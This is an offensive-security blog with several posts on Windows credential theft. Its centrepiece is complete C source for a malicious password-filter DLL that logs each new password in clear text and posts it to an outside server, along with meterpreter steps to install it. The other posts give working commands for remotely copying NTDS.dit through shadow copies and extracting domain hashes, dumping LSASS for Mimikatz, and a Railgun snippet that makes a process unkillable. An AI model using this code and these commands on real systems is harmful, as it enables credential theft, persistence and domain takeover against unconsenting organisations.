Room362.com

Blatherings of a security addict.

Stealing Passwords Every Time They Change

| Comments

Password Filters [0] are a way for organizations and governments to enforce stricter password requirements on Windows Accounts than those available by default in Active Directory Group Policy. It is also fairly documented on how to Install and Register Password Filters [1].aspx). Basically what it boils down to is updating a registry key here: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages

with the name of a DLL (without the extension) that you place in Windows\System32\

For National CCDC earlier this year (2013), I created an installer and “evil pass filter” that basically installed itself as a password filter and any time any passwords changed it would store the change to a log file locally to the victim (in clear text) as well as issue an HTTP basic auth POST to a server I own with the username and password.

The full code can be found below. I’ll leave the compiling up to you but basically its slamming the code in Visual Studio, telling it its a DLL, and clicking build for the architecture you are targeting (Make sure to use the Internet Open access settings that make the most sense for the environment you are using this in [2.aspx)].

So lets walk the exploitation:

First, you have to be admin or system, as this is more of a persistence method than anything.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Next, we upload the evilpassfilter.dll to Sytem32:

meterpreter > pwd
C:\Windows\system32
meterpreter > upload /tmp/evilpassfilter.dll .
[*] uploading  : /tmp/evilpassfilter.dll -> .
[*] uploaded   : /tmp/evilpassfilter.dll -> .\evilpassfilter.dll

Then we need to query what is already in the notification packages list:

meterpreter > reg queryval -k HKLM\\System\\CurrentControlSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Type:
Data: sceclirassfm

What you can’t see here since Metasploit isn’t showing the line breaks is that there are two there by default:

scecli
rassfm

We need to add ours to the end of this list, unfortunately at the current point of time its impossible to do directly from the meterpreter command line (as far as I know). So we need to drop a .reg file and manually import it. Easiest way to do that is to add your “evilpassfilter” string as well as the ones on the victim to a VM you have and export it. Should look like this:

Once we have our file, we upload and import it using reg command:

meterpreter > upload importme.reg .
[*] uploading  : importme.reg -> .
[*] uploaded   : importme.reg -> .\importme.reg
meterpreter > execute -H -f regedit.exe -a '/s importme.reg'
Process 2628 created.
meterpreter > 

Double check our work:

meterpreter > reg queryval -k HKLM\\System\\CurrentcontrolSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Type:
Data: sceclirnrassfmrnevilpassfilter 

Its there, w00t! But it doesn’t do anything until a reboot happens :(. Lets just force that to happen (not the most stealthy thing to do):

meterpreter > reboot
Rebooting...

While thats going on, lets set up the server to catch the basic auth.

msf exploit(psexec) > use auxiliary/server/capture/http_basic
msf auxiliary(http_basic) > set URIPATH /
URIPATH => /
msf auxiliary(http_basic) > run
[*] Auxiliary module execution completed
msf auxiliary(http_basic) >
[*] Listening on 0.0.0.0:80...
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.92.106:80/
[*] Server started.
msf auxiliary(http_basic) > 

Then we wait for a password to be changed:

msf auxiliary(http_basic) >
[*] 192.168.92.106   http_basic - Sending 401 to client
[+] 192.168.92.106 - Credential collected: "jack:ASDqwe123" => /

No matter how complex their password is and without having a shell on the box anymore:

msf auxiliary(http_basic) >
[+] 192.168.92.106 - Credential collected: "jack:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p" => /

This works from Windows 2000, XP all the way up to Windows 8 & 2012.

Ok, but how often are local password changed? Maybe not that often, but guess what happens when a password filter is put on a domain controller. Every password changed by that DC is “verified” by your evil password filter.

Oh and what does that log file we talked about earlier on the victim look like if for some reason they block that IP you’re getting your authentication to? (You would have to find a way to get back on that system, or make it available via a share or otherwise)

InitializeChangeNotify()
JackJohnson:ASDqwe123
JackJohnson:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p

This attack supports a larger character set than most banks ;–)

Full code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>

void writeToLog(const char* szString)
{
    FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
    if (NULL == pFile)
    {
        return;
    }
    fprintf(pFile, "%s\r\n", szString);
    fclose(pFile);
    return;
}



// Default DllMain implementation
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    OutputDebugString(L"DllMain");
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

BOOLEAN __stdcall InitializeChangeNotify(void)
{
    OutputDebugString(L"InitializeChangeNotify");
    writeToLog("InitializeChangeNotify()");
    return TRUE;
}

BOOLEAN __stdcall PasswordFilter(
    PUNICODE_STRING AccountName,
    PUNICODE_STRING FullName,
    PUNICODE_STRING Password,
    BOOLEAN SetOperation )
{
    OutputDebugString(L"PasswordFilter");
    return TRUE;
}

NTSTATUS __stdcall PasswordChangeNotify(
    PUNICODE_STRING UserName,
    ULONG RelativeId,
    PUNICODE_STRING NewPassword )
{
  FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
  //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
  HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
  HINTERNET hSession = InternetConnect(hInternet,L"172.16.10.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);
  HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0);
  char* pBuf="SomeData";



  OutputDebugString(L"PasswordChangeNotify");
  if (NULL == pFile)
    {
        return;
    }
  fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer,NewPassword->Buffer);
  fclose(pFile);
  InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2);
  InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2);
  HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf));

    return 0;
}

Changing Proxychains Hardcoded DNS Server

| Comments

If you’ve ever used proxychains to push things through Meterpreter, one of the most annoying things is its “hardcoded” DNS setting for 4.2.2.2, if the org that you are going after doesn’t allow this out of their network, or if you are trying to resolve an internal asset, you’re SOL. After a ton of googling and annoyed head slams into walls every time I forget where this is I’ve finally decided to make a note of it.

There isn’t much magic here other than knowing that this file exists, but /bin/proxyresolv is a bash script that calls “dig” using TCP and the DNS server specified so it goes through the proxychains. Here is what it looks like: (on Kali linux its found here: /usr/lib/proxychains3/proxyresolv)

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
# This script is called by proxychains to resolve DNS names
# DNS server used to resolve names
DNS_SERVER=4.2.2.2

if [ $# = 0 ] ; then
echo " usage:"
echo " proxyresolv <hostname> "
exit
fi

export LD_PRELOAD=libproxychains.so.3
dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'

Now you could just make the dig request yourself through proxychains then throw whatever you originally attended directly at an IP, or you can make the DNS_SERVER change and hardcode your engagement’s internal IP, up to you, but now its documented and I’ll never have to go searching like crazy again… as long as I remember that its on someone else’s blog.

Unkillable Processes

| Comments

Saw this post about a kernel bug in 64 bit Windows that is a DoS, it can also create an unkillable process: Blog post: http://waleedassar.blogspot.com/2013/02/kernel-bug-1-processiopriority.html

Figured I’d take a swing at making a module that I could put Meterpreter into an unkillable state. Good times at CCDC could be had.

Started with the C code for the bug: http://pastebin.com/QejGQXib along with the only resource I could find about the actual function: http://processhacker.sourceforge.net/doc/ntfill_8h.html#a6557e0dd024f0e9fa6132eb52d12810a

I came up with this:

1
2
3
4
5
6
7
8
9
10
11
12
client.railgun.add_function('ntdll','ZwSetInformationProcess','DWORD',[
   ["DWORD","ProcessHandle","in"],
   ["DWORD","ProcessInformationClass","in"],
   ["DWORD","ProcessInformation","inout"],
   ["DWORD","ProcessInformationLength","in"],
])
processinfo = 0x8000F129
tproc = client.sys.process.open
tmem = tproc.memory.allocate(4)
tproc.memory.write(tmem,processinfo)
cpidhandle = client.railgun.kernel32.GetCurrentProcess()['return']
client.railgun.ntdll.ZwSetInformationProcess(cpidhandle,0x21,tmem,0x4)

ScriptJunkie quickly identified that I was using a DWORD for a Handle and using 4 bits for a 64 bit process (should be 8) as well as the fact that I could use a PDWORD with the ProcessInformation inout parameter instead of writing it to memory myself.

The result:

1
2
3
4
5
6
7
8
9
client.railgun.add_function('ntdll','ZwSetInformationProcess','DWORD',[
     ["HANDLE","ProcessHandle","in"],
     ["DWORD","ProcessInformationClass","in"],
     ["PDWORD","ProcessInformation","inout"],
     ["DWORD","ProcessInformationLength","in"],
])
processinfo = 0x8000F129
cpidhandle = client.railgun.kernel32.GetCurrentProcess()['return']
client.railgun.ntdll.ZwSetInformationProcess(cpidhandle,0x21,processinfo,0x4)

Which results in a process that you can’t kill, but the process is also non-functioning as far as I can tell because the Meterpreter session dies.

I’m curious if with some tweaking I can get it to act much like the KillMe.exe https://code.google.com/p/ollytlscatch/downloads/detail?name=KillMe.exe

Which continues to operate just fine after the modification happens.

Problems With Blogging Software

| Comments

Problems are that everyone does this whole blogging thing in so many different ways. Me, personally? I like to have a client that I can save drafts it, work on things a little bit here and there and then finalize stuff when I’m ready to post. I have a couple dozen of these posts ready and set with final tweaks needed but my blogging software Squarespace up and moved on to “Squarespace 6”. The the current stage you don’t have to move to 6 but at some point the owners of Squarespace are going to force everyone over. I don’t want to wait for that to happen.

Octopress and Postach.io are my favorite options right now. Both blog in markdown language which is ok. Converting 8 years of blog posts to markdown is going to be a lot of work but a one time deal. Plus it would give me a chance to go through and fix the things that were broken over the years of modified blogging clients and services.

Postach.io has one major downside, they don’t have good “code” block support, whereas Octopress/Jekyll have excellent support as well code hilighting. The major upside? It’s based on Evernote. Which means I can blog from whereever I have Evernote. They also used to have an EXCELLENT feature that seems to have disappeared where if you updated a post it would automatically throw the blog post up to the top of your page, meaning your update would get back in your RSS feed and the update wouldn’t go unnoticed as most updates to blog posts do.

Volume Shadow Copy NTDS.DIT Domain Hashes Remotely - Part 2

| Comments

Part 2, we have the NTDS.dit file and the SYSTEM.hive file. First we need a few tools:

From: http://www.ntdsxtract.com/

Download: http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip

1
wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip

From: http://code.google.com/p/libesedb/

Download: http://libesedb.googlecode.com/files/libesedb-alpha-20120102.tar.gz

1
wget http://libesedb.googlecode.com/files/libesedb-alpha-20120102.tar.gz

Extract the tools:

1
2
tar zxvf libesedb-alpha-20120102.tar.gz
unzip ntdsxtract_v1_0.zip

Compile/make libesedb:

1
2
3
root@wpad:~/blog/# cd libesedb-20120102
root@wpad:~/blog/libesedb-20120102# ./configure
root@wpad:~/blog/libesedb-20120102# make

Export the tables from NTDS.dit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
root@wpad:~/blog/libesedb-20120102# cd esedbtools/
root@wpad:~/blog/libesedb-20120102/esedbtools# ./esedbexport
esedbexport 20120102

Missing source file.
Use esedbexport to export items stored in an Extensible Storage Engine (ESE)
Database (EDB) file

Usage: esedbexport [ -c codepage ] [ -l logfile ] [ -m mode ] [ -t target ]
                   [ -T table_name ] [ -hvV ] source

 source: the source file

  -c:     codepage of ASCII strings, options: ascii, windows-874,
          windows-932, windows-936, windows-1250, windows-1251,
          windows-1252 (default), windows-1253, windows-1254
          windows-1255, windows-1256, windows-1257 or windows-1258
  -h:     shows this help
  -l:     logs information about the exported items
  -m:     export mode, option: all, tables (default)
          'all' exports all the tables or a single specified table with indexes,
          'tables' exports all the tables or a single specified table
  -t:     specify the basename of the target directory to export to
          (default is the source filename) esedbexport will add the suffix
          .export to the basename
  -T:     exports only a specific table
  -v:     verbose output to stderr
  -V:     print version
root@wpad:~/blog/libesedb-20120102/esedbtools#


root@wpad:~/blog/libesedb-20120102/esedbtools# ./esedbexport ../../ntds.dit
esedbexport 20120102

Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.

Move the exported tables to somewhere a bit easier:

1
2
root@wpad:~/blog/libesedb-20120102/esedbtools#
root@wpad:~/blog/libesedb-20120102/esedbtools# mv ntds.dit.export/ ../../

NTDS extract can do a lot more than just hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@wpad:~/blog# cd NTDSXtract 1.0/
root@wpad:~/blog/NTDSXtract 1.0# ls
dscomputers.py  dsdeletedobjects.py  dsfileinformation.py  dsgroups.py  dstimeline.py  dsusers.py  framework  ntds
root@wpad:~/blog/NTDSXtract 1.0# python dsusers.py
DSUsers
Extracts information related to user objects

usage: dsusers.py   [option]
  options:
    --rid
          List user identified by RID
    --name
          List user identified by Name
    --passwordhashes
          Extract password hashes
    --passwordhistory
          Extract password history
    --certificates
          Extract certificates
    --supplcreds
          Extract kerberos keys
    --membership
          List groups of which the user is a member
root@wpad:~/blog/NTDSXtract 1.0#

But we like hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
root@wpad:~/blog/NTDSXtract 1.0# python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes ../SYSTEM.hive --passwordhistory ../SYSTEM.hive
Running with options:
  Extracting password hashes
  Extracting password history
Initialising engine...
Scanning database - 100% -> 3475 records processed
Extracting schema information - 100% -> 1549 records processed
Extracting object links...

List of users:
==============

Record ID:           3562
User name:           Administrator
User principal name:
SAM Account name:    Administrator
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 7ceee337-fa58-4ca0-9643-540a40161020
SID:  S-1-5-21-3825330677-773554443-1603823854-500
When created:         2012-08-22 03:12:59
When changed:         2013-05-15 04:06:55
Account expires:      Never
Password last set:    2012-08-22 02:49:42.899576
Last logon:           2013-05-15 04:08:04.547236
Last logon timestamp: 2013-05-15 04:06:55.577353
Bad password time     2013-06-07 02:34:34.560516
Logon count:          9
Bad password count:   1
User Account Control:
  NORMAL_ACCOUNT
Ancestors:
  $ROOT_OBJECT$ net projectmentor Users Administrator
Password hashes:
  Administrator:$NT$88e4d9fabaecf3ded18dd80905521b29:::
Password history:

Record ID:           3563
User name:           Guest
User principal name:
SAM Account name:    Guest
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 659723d7-1246-4959-b0fc-af80ea5e3816
SID:  S-1-5-21-3825330677-773554443-1603823854-501
When created:         2012-08-22 03:12:59
When changed:         2013-03-14 06:54:22
Account expires:      Never
Password last set:    2013-03-14 06:54:22.029303
Last logon:           2013-03-14 06:54:27.012817
Last logon timestamp: 2013-03-14 06:32:41.834022
Bad password time     2013-06-07 03:07:46.499917
Logon count:          0
Bad password count:   10
User Account Control:
  PWD Not Required
  NORMAL_ACCOUNT
  PWD Never Expires
Ancestors:
  $ROOT_OBJECT$ net projectmentor Users Guest
Password hashes:
  Guest:$NT$823893adfad2ada6e1a414f3ebdf58f7:::
Password history:

Record ID:           3564
User name:           user
User principal name:
SAM Account name:    user
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: c5a5c87a-93b4-4d80-97a1-1c605b9b0c03
SID:  S-1-5-21-3825330677-773554443-1603823854-1000
When created:         2012-08-22 03:12:59
When changed:         2013-06-07 02:51:54
Account expires:      Never
Password last set:    2013-03-14 03:25:11.793912
Last logon:           2013-06-07 02:51:54.152191
Last logon timestamp: 2013-06-07 02:51:54.152191
Bad password time     2013-04-19 05:25:40.412670
Logon count:          67
Bad password count:   0
User Account Control:
  NORMAL_ACCOUNT
  PWD Never Expires
Ancestors:
  $ROOT_OBJECT$ net projectmentor Users user
Password hashes:
  user:$NT$88e4d9fabaecf3dec18dd80905521b29:::
Password history:
  user_nthistory0:$NT$88e4d9fabafcf3dec18dd80905521b29:::
  user_nthistory1:$NT$0c61031f010b2fbb88fe449fbf262477:::
  user_nthistory2:$NT$88e4dffabaecf3dec18dd80905521b29:::
  user_lmhistory0:c869027e01c3c4fe7626a90c87cc7fed:::
  user_lmhistory1:8be023cd858da1edd21b94907afe182c:::

Record ID:           3610
User name:           krbtgt
User principal name:
SAM Account name:    krbtgt
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 74e6bd0b-e4d5-42df-98d5-24f9060061c9
SID:  S-1-5-21-3825330677-773554443-1603823854-502
When created:         2012-08-22 03:16:03
When changed:         2012-08-22 03:31:13
Account expires:      Never
Password last set:    2012-08-22 03:16:03.166457
Last logon:           Never
Last logon timestamp: Never
Bad password time     Never
Logon count:          0
Bad password count:   0
User Account Control:
  Disabled
  NORMAL_ACCOUNT
Ancestors:
  $ROOT_OBJECT$ net projectmentor Users krbtgt
Password hashes:
  krbtgt:$NT$7253e8647254716b507a2dcb149ff2da:::
Password history:
  krbtgt_nthistory0:$NT$7253e86a7254716a507a2dcb149ff2da:::
  krbtgt_lmhistory0:113926e06a31d182623633041b632929:::

Record ID:           3762
User name:           John Doe
User principal name: jdoe@projectmentor.net
SAM Account name:    jdoe
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: bbf24c63-39a9-4cc4-8aa8-933f9ddee940
SID:  S-1-5-21-3825330677-773554443-1603823854-1104
When created:         2012-08-22 04:10:52
When changed:         2013-06-05 13:04:11
Account expires:      Never
Password last set:    2013-04-19 07:11:49.849592
Last logon:           2013-06-07 02:56:25.677855
Last logon timestamp: 2013-06-05 13:04:11.674344
Bad password time     2013-05-02 03:01:12.536251
Logon count:          242
Bad password count:   0
User Account Control:
  NORMAL_ACCOUNT
  PWD Never Expires
Ancestors:
  $ROOT_OBJECT$ net projectmentor Users John Doe
Password hashes:
  John Doe:$NT$88e4d9fabaecf3ded18dd80905511b29:::
Password history:

Record ID:           3797
User name:           Random User
User principal name: randy@projectmentor.net
SAM Account name:    randy
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 2701eb29-628a-4568-a093-d33a7db10d04
SID:  S-1-5-21-3825330677-773554443-1603823854-1108
When created:         2013-04-08 02:34:04
When changed:         2013-05-27 16:06:07
Account expires:      Never
Password last set:    2013-04-19 06:59:25.423280
Last logon:           2013-04-08 02:34:10.482690
Last logon timestamp: 2013-04-08 02:34:10.482690
Bad password time     Never
Logon count:          1
Bad password count:   0
User Account Control:
  NORMAL_ACCOUNT
  PWD Never Expires
Ancestors:
  $ROOT_OBJECT$ net projectmentor Users Random User
Password hashes:
  Random User:$NT$88ead9fa5aecf3dec18dd80905521b29:::
Password history:
root@wpad:~/blog/NTDSXtract 1.0#

All done. Start crackin’

Volume Shadow Copy NTDS.dit Domain Hashes Remotely - Part 1

| Comments

This and part 2 are mostly just an update to http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html but without the need for VSSOwn, that and we are doing it remotely without the need for shell on the DC.

Ever run into a Domain Controller that wasn’t allowed to talk to the Internet, had insane AV and GPOs not allowing anyone to RDP in (Even Domain Admins) unless they provided some kind of voodo happy dance? Ya me neither, but here is how you can still dump domain hashes and hash history if you run into that case. Lets start

First authenticate to the domain controller and make sure you have a good working directory to use.

1
2
net use \\DC1 /user:DOMAIN\domainadminsvc domainadminsvc123
dir \\DC1\C$

Alright, lets say “TEMP” is there and it’s empty on the remote DC. The way we are going to run commands will not allow us to get results directly so we are going to use a temp file on the DC in C:\TEMP where we already made sure is clear.

We are going to be using Volume Shadow Copies to pull the NTDS.dit file (Active Directory’s DB much like Window’s SAM file except that it stores the entire AD set of objects there), we also need the SYSTEM registry hive. You can get the SAM registry hive as well but that will only get local DC credentials.

So lets list the current volume shadow copies to see if we need to create one, from a Windows command prompt (or if you’ve installed wmic for Linux via http://www.krenger.ch/blog/wmi-commands-from-linux/ ) – this IS an interactive command so this won’t work very nicely in a Meterpreter shell:

1
2
3
4
5
6
7
8
9
C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin list shadows 2>&1 > C:\tempoutput.txt"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 7304;
        ReturnValue = 0;
};

To break down this command:

  • wmic /node:DC1 – tells it to interact with the WMI API on DC1
  • /user:DOMAIN\domainadminsvc /password:domainadminsvc123 – authentication
  • process call create – WMI speak for create a process
  • cmd /c – vssadmin doesn’t operate outside of cmd for some reason…
  • vssadmin list shadows – List any shadow volumes that already exist
  • 2>&1 > C:\temp\output.txt – Take STDIN and STDERROR and throw it in a text file on DC1 C:\TEMP. Make sure you specify full path because you will be executing from within C:\Windows\System32 and its a pain to find anything in that directory. So if you just specify > bob.txt you get to hunt in C:\Windows\System32 or wherever WMI wants to execute you from for bob.txt

Process starts and then you need to view the output file by either copying it down, type \DC1\C$\TEMP\output.txt or mount the C drive as a network share. Either way you should either see something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\temp>type output.txt
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

Contents of shadow copy set ID: {671090fd-0198}
   Contained 1 shadow copies at creation time: 5/31/2013 11:29:03 AM
      Shadow Copy ID: {0863e309}
         Original Volume: (C:)\\?\Volume{c44da10e-0154-11e1-b968-806e6f6e6963}\
         Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
         Originating Machine: wpad
         Service Machine: wpad
         Provider: 'Microsoft Software Shadow Copy provider 1.0'
         Type: ClientAccessibleWriters
         Attributes: Persistent, Client-accessible, No auto release, Differential, Auto recovered

or

1
2
3
4
5
C:\temp>type output.txt
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

No items found that satisfy the query

If there are no shadow copies or the ones there are too old (look at the creation time), you can create a shadow copy using the ‘vssadmin create shadow /for=C: command. (This command only applies to Server OS (Win2k3/Win2k8) but since those are the only two that commonly have NTDS.dit files we don’t have to remember this):

1
C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin create shadow /for=C: 2>&1 > C:\temp\output.txt"

The other thing to keep in mind is that NTDS.dit isn’t always on the main drive. It is commonly on a “D” drive for safety if a HDD goes bad or something. But it should always be in a folder called NTDS. (By default this is C:WindowsNTDS)

Next we just copy the files out of the shadow copies. First the SYSTEM hive:

1
C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM.hive 2>&1 > C:\temp\output.txt"

Then the NTDS.dit (notice this one isn’t in System32):

1
C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit 2>&1 > C:\temp\output.txt"

In Kali Linux you could use the WMIS package to do much the same thing:

1
2
root@kali:~# wmis -U DOMAIN\domainadminsvc%domainadminsvc123 //DC1 cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit 2>&1 > C:\temp\output.txt
NTSTATUS: NT_STATUS_OK - Success

Copy those files to your own system for offline extraction which I’ll cover in part 2.

Using Mimikatz Alpha or Getting Clear Text Passwords With a Microsoft Tool

| Comments

Mimikatz is now built into Metasploit’s meterpreter, you can do load mimikatz from the meterpreter prompt, but if you don’t want to go through the hassle of dealing with AV, reverse or bind payloads, meterpreter binaries, and you have clear text credentials for an admin, you can just use Mimikatz’s alpha release that allows you to run Mimikatz on your machine against a process memory dump of LSASS. The great thing about this technique is that the only thing on disk is a Microsoft tool.

Mimikatz Minidump: http://blog.gentilkiwi.com/securite/mimikatz/minidump

Procdump: http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx

Lets start. First we make sure our authentication works against the box and we can look inside of C$ (usually only admins can)

1
2
net use \\TARGETBOXC$ /user:DOMAIN\serviceaccount serviceaccount123
dir \\TARGETBOX\C$

If that works then we want to check that we can all the “AT” command on the remote host:

1
at \\TARGETBOX

All set. Next lets prep our workspace on the remote host. We are using the C:\Temp directory.

1
2
3
4
mkdir \\TARGETBOX\C$\Temp
dir \\TARGETBOX\C$\Temp
copy c:\temp\procdump.exe \\TARGETBOXC$
copy c:\temp\procdump.bat \\TARGETBOXC$

The contents of procdump.bat are:

1
2
@echo off
C:\temp\procdump.exe -accepteula -ma lsass.exe %COMPUTERNAME%_lsass.dmp

I’m using the computer name in the memory dump name to help me keep track of where the dump came from, but also help me notice when I’ve dumped more than one IP that is actually the same host.

Next we schedule the task. Use net time to determine the local time for the remote machine.

1
2
net time \\TARGETBOX
at \\TARGETBOX 13:52 C:\Temp\procdump.bat

Pull down the file and clean up:

1
2
3
dir \\TARGETBOX\C$\Temp
copy \\TARGETBOX\C$\Temp\*lsass.dmp C:\temp\output\
rmdir /s \\TARGETBOX\C$\Temp

On your side the only thing you need to make sure is that you are running Mimikatz on a similar version and architecture you pulled from. Use the following url for reference:http://blog.gentilkiwi.com/wp-content/uploads/2013/04/minidump_matrix.png

Load up the Alpha version of Mimikatz, switch it to minidump mode and you’re dumping creds:

1
2
3
4
mimikatz # sekurlsa::minidump SUPERCOMPUTER_lsass.dmp
Switch to MINIDUMP

mimikatz # sekurlsa::logonPasswords full

Thats it. Password dumping without ever using a “Hacker” tool on target. Much love Microsoft. And even more to Mimikatz creator @gentilkiwi – Benjamin Delpy for both this alpha release and changing his licensing to allow Mimikatz code to be integrated into Meterpreter.

Sessiondump Meterpreter Extension

| Comments

Mimikatz is awesome right, so is WCE. But both have one fatal flaw, even though you can execute them in memory {link} – you still have to have the binaries, remember the command to execute it in memory, and ultimately transfer the entire binary over so that metasploit can do its thing.

Then along came SessionDump. I only noticed this because someone was tweeting congratulations to someone on writing it:

No blog post or huge Vegas lights talk on it at DefCon or Blackhat. Just posted online in a corner of the Internet:

http://www.hsc.fr/ressources/outils/sessiondump/

Before we get started lets be clear about one thing. Sessiondump while awesome doesn’t do everything that Mimikatz does. However, it does do the feature of mimikatz that I do use the most, the logged on user hash dumping as well as the wdigest clear text password dumping. It does this as a Meterpreter extension that operates using reflective DLL injection. Does that solve our minor issues we had with mimikatz, as of right now, only partially. This code was simply posted online, not in a pull request or submitted to Metasploit in any way. So you still have to have the binary + code. What about the remembering, surely it makes it so I can just tab complete my way to passwords right? Yup, it does, but until/if it is in the Metasploit trunk you will still have to remember how to get it installed (which we will go over in a bit). The final question is yes it does still transfer a complete DLL over to the host same as any of the other extensions (not to disk mind you, just memory),.

Without further ado lets go ahead and get the file and do a bunch of extracting. 

And finally placing everything in it’s correct place, which was nice of the author to make easy by making the archive the same as the Metasploit directory structure:

Cool, everything should be good to go. Lets use this thing. I’m using psexec to get a shell but any way you get a windows native meterpreter fine, with one caveat, and its the same as with any of the other aforementioned tools. You need to be Admin (past UAC, w/ SeDebug privilege) or NT\AUTHORITY SYSTEM. ¬†After that it’s cake, load the extension:

Here is the available commands:

And run getHashes:

or getwDigestPasswords:

Thats is, you free passwords, YAY…

Possible issues you may run into:

  • If you are on a x64 box and meterpreter isn’t running in a x64 process it will fail saying that it doesn’t have the correct version offsets, here is how you can check:

x64 system and Meterpreter is x86/win32. Lets find a good process to migrate into and kick it from there. Winlogon isn’t the greatest choices since if meterpreter decides to crash it during migration then the system will go down, whereas a service running as SYSTEM will probably just restart if something fails.

  • If by any chance you are running it against a system the author hasn’t gotten the offsets for. I don’t’ have a screenshot for this one because he covers all the languages I have CMs for, but the author was awesome enough to include a few python scripts that can help you generate the correct offsets. I’ll show you by running it on my lsass and widgets.dll files even though he already has this data included in the CSV file that comes with session dump.

Thats all for now folks, may the shells be with you.